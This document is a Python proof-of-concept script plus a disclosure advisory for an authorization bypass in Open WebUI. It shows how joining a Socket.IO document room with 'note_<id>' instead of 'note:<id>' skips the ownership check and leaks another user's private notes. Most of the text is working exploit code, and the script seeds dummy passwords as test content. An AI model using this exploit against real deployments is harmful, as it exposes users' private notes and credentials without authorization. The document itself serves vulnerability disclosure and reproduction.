#!/usr/bin/env python3
"""
uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS
Finding #15 — Any authenticated user can read other users' private notes via Socket.IO
SUMMARY:
The ydoc:document:join Socket.IO handler only checks authorization for
document IDs starting with "note:" (colon). However, YdocManager normalizes
document IDs by replacing colons with underscores internally. An attacker
can join a room using "note_<id>" (underscore) to bypass the auth check,
while still accessing the same underlying Yjs document as "note:<id>".
Then ydoc:document:state returns the full document content.
VULNERABLE CODE:
backend/open_webui/socket/main.py, ydoc:document:join:
if document_id.startswith("note:"):
# permission check only for colon-prefix
# "note_<id>" skips this check entirely
backend/open_webui/socket/ydoc.py, YdocManager:
key = document_id.replace(":", "_") # normalizes to same storage key
IMPACT:
Any authenticated user can read the full content of any other user's notes
by exploiting the namespace collision between "note:" and "note_" prefixes.
REPRODUCTION:
1. Victim creates a private note with sensitive content.
2. Attacker connects via Socket.IO and authenticates.
3. Attacker joins room with document_id "note_<victim_note_id>" (underscore).
4. Attacker requests ydoc:document:state to get the full note content.
REQUIREMENTS:
- Running Open WebUI instance
- A victim note with content
- Attacker user (any authenticated user)
"""
import argparse
import asyncio
import sys
import requests
import socketio
async def victim_initialize_note(base, victim_token, note_id):
"""Simulate victim opening the note in the UI to initialize the Yjs document."""
sio = socketio.AsyncClient()
await sio.connect(
base,
socketio_path="/ws/socket.io",
headers={"Authorization": f"Bearer {victim_token}"},
transports=["websocket"],
)
# Join using the proper note:id format (passes auth check since victim owns it)
doc_id = f"note:{note_id}"
print(f" Joining as victim with document_id: {doc_id}")
await sio.emit("ydoc:document:join", {
"document_id": doc_id,
"user_id": "victim",
"user_name": "Victim",
})
await asyncio.sleep(1)
# Send a Yjs update with the note content
# Create a simple Yjs document with text content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone."
update = ydoc.get_update()
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
# If pycrdt not available, try y-py
try:
import y_py as Y
ydoc = Y.YDoc()
ytext = ydoc.get_text("default")
with ydoc.begin_transaction() as txn:
ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone.")
update = txn.get_update()
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker")
# Send a minimal marker that we can detect
raw_update = list(b"\x01\x00\x00\x00\x00\x00\x00SECRET_NOTE_CONTENT_MARKER")
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": raw_update,
})
await asyncio.sleep(1)
await sio.disconnect()
print(f" Victim disconnected")
async def exploit(base, attacker_token, victim_note_id):
sio = socketio.AsyncClient()
result = {"state": None, "error": None, "joined": False}
@sio.on("ydoc:document:state")
async def on_state(data):
result["state"] = data
print(f" [!] Received ydoc:document:state event!")
print(f" document_id: {data.get('document_id', '?')}")
state = data.get("state", [])
print(f" State size: {len(state)} bytes")
@sio.on("error")
async def on_error(data):
result["error"] = data
print(f" [!] Error event: {data}")
@sio.on("*")
async def catch_all(event, data):
if event not in ("ydoc:document:state", "error"):
print(f" [debug] Event: {event} Data: {str(data)[:200]}")
# Connect with auth token
print(f"[*] Connecting as attacker to Socket.IO...")
await sio.connect(
base,
socketio_path="/ws/socket.io",
auth={"token": attacker_token},
transports=["websocket"],
)
# Join with "note_" prefix (underscore — bypasses auth)
bypass_doc_id = f"note_{victim_note_id}"
print(f"\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}")
print(f" (using underscore instead of colon to skip auth check)")
await sio.emit("ydoc:document:join", {
"document_id": bypass_doc_id,
"user_id": "attacker",
"user_name": "Attacker",
})
result["joined"] = True
# Wait for state response (from join handler's emit)
for _ in range(20):
await asyncio.sleep(0.5)
if result["state"]:
break
await sio.disconnect()
return result
def main():
parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision")
parser.add_argument("--base-url", required=True)
parser.add_argument("--attacker-email", required=True)
parser.add_argument("--attacker-password", required=True)
parser.add_argument("--victim-email", required=True)
parser.add_argument("--victim-password", required=True)
args = parser.parse_args()
base = args.base_url.rstrip("/")
# ── Step 1: Login as victim and find their note ──
print("[*] Authenticating as victim...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.victim_email, "password": args.victim_password})
if not r.ok:
print(f"[-] Victim login failed: {r.status_code}")
sys.exit(1)
victim_token = r.json()["token"]
victim_id = r.json()["id"]
print(f"[+] Logged in as victim (id={victim_id})")
r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victim_token}"})
if not r.ok:
print(f"[-] Failed to list victim notes: {r.status_code}")
sys.exit(1)
notes = r.json()
if isinstance(notes, dict):
notes = notes.get("items", notes.get("data", []))
if not notes:
print("[-] No victim notes found")
sys.exit(1)
victim_note = notes[0]
victim_note_id = victim_note["id"]
print(f"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})")
# ── Step 2: Login as attacker ──
print(f"\n[*] Authenticating as attacker...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.attacker_email, "password": args.attacker_password})
if not r.ok:
print(f"[-] Attacker login failed: {r.status_code}")
sys.exit(1)
attacker_token = r.json()["token"]
attacker_id = r.json()["id"]
print(f"[+] Logged in as attacker (id={attacker_id})")
# ── Step 3: Confirm attacker CANNOT read victim's note via API ──
print(f"\n[*] Step 1: Confirming attacker cannot read victim's note via API...")
r = requests.get(f"{base}/api/v1/notes/{victim_note_id}",
headers={"Authorization": f"Bearer {attacker_token}"})
if r.status_code in (401, 403, 404):
print(f"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})")
else:
print(f"[!] Unexpected: attacker can read note (status {r.status_code})")
# ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──
async def combined_exploit():
# Victim opens note and stays connected
print(f"\n[*] Step 2: Victim opens note (stays connected)...")
victim_sio = socketio.AsyncClient()
await victim_sio.connect(
base,
socketio_path="/ws/socket.io",
auth={"token": victim_token},
transports=["websocket"],
)
doc_id = f"note:{victim_note_id}"
await victim_sio.emit("ydoc:document:join", {
"document_id": doc_id,
"user_id": "victim",
"user_name": "Victim",
})
await asyncio.sleep(1)
# Send Yjs update with note content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone."
update = ydoc.get_update()
await victim_sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update ({len(update)} bytes)")
except Exception as e:
print(f" WARNING: Could not create Yjs update: {e}")
await asyncio.sleep(1)
# Now attacker joins while victim is still connected
result = await exploit(base, attacker_token, victim_note_id)
# Clean up victim connection
await victim_sio.disconnect()
return result
result = asyncio.run(combined_exploit())
if not result["joined"]:
print(f"\n[-] Failed to join document room")
sys.exit(1)
if result["state"]:
state_data = result["state"]
state_bytes = bytes(state_data.get("state", []))
# Try to extract readable text from the Yjs state
# Yjs binary format contains the text as embedded strings
text_content = ""
try:
# Search for readable ASCII strings in the binary data
current_str = ""
for b in state_bytes:
if 32 <= b < 127:
current_str += chr(b)
else:
if len(current_str) > 5:
text_content += current_str + " "
current_str = ""
if len(current_str) > 5:
text_content += current_str
except Exception:
pass
print(f"\n[+] Extracted text from Yjs state:")
print(f" {text_content[:500]}")
# Check for sensitive markers
sensitive_markers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"]
found = [m for m in sensitive_markers if m.lower() in text_content.lower()]
if found:
print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!")
print(f" Sensitive markers found: {found}")
print(f" The attacker joined room 'doc_note_{victim_note_id}' (underscore)")
print(f" which bypasses the auth check (only checks 'note:' colon prefix)")
print(f" but accesses the same Yjs document due to normalization.")
sys.exit(0)
elif text_content.strip():
print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)")
print(f" Non-empty Yjs state was returned for victim's note.")
sys.exit(0)
else:
print(f"\n[*] Yjs state was returned but could not extract readable text.")
print(f" Raw state size: {len(state_bytes)} bytes")
if len(state_bytes) > 10:
print(f" First 50 bytes: {list(state_bytes[:50])}")
print(f"[+] SUCCESS: Non-trivial document state returned")
sys.exit(0)
sys.exit(1)
else:
print(f"\n[-] No document state received")
print(f" The Yjs document may not exist in storage yet.")
print(f" Notes must be opened in the UI to create a Yjs document.")
sys.exit(1)
if __name__ == "__main__":
main()Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.
johnatzeropath Reporter
LeftenantZero Finder
Summary
The
ydoc:document:joinSocket.IO handler checks note ownership only when thedocument_idstarts withnote:(colon). However, theYdocManagerstorage layer normalizes all document IDs by replacing colons with underscores (document_id.replace(":", "_")). An attacker can join a document room usingnote_<id>(underscore) instead ofnote:<id>(colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.Details
The
ydoc:document:joinhandler insocket/main.py(line 511) only performs authorization for document IDs matching thenote:prefix:The
YdocManagerclass insocket/utils.pynormalizes document IDs in every method by replacing colons with underscores:This means
note:abc123andnote_abc123resolve to the same storage key (note_abc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips thestartswith("note:")authorization check but retrieves the same data fromYdocManager.PoC
Impact
Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.
References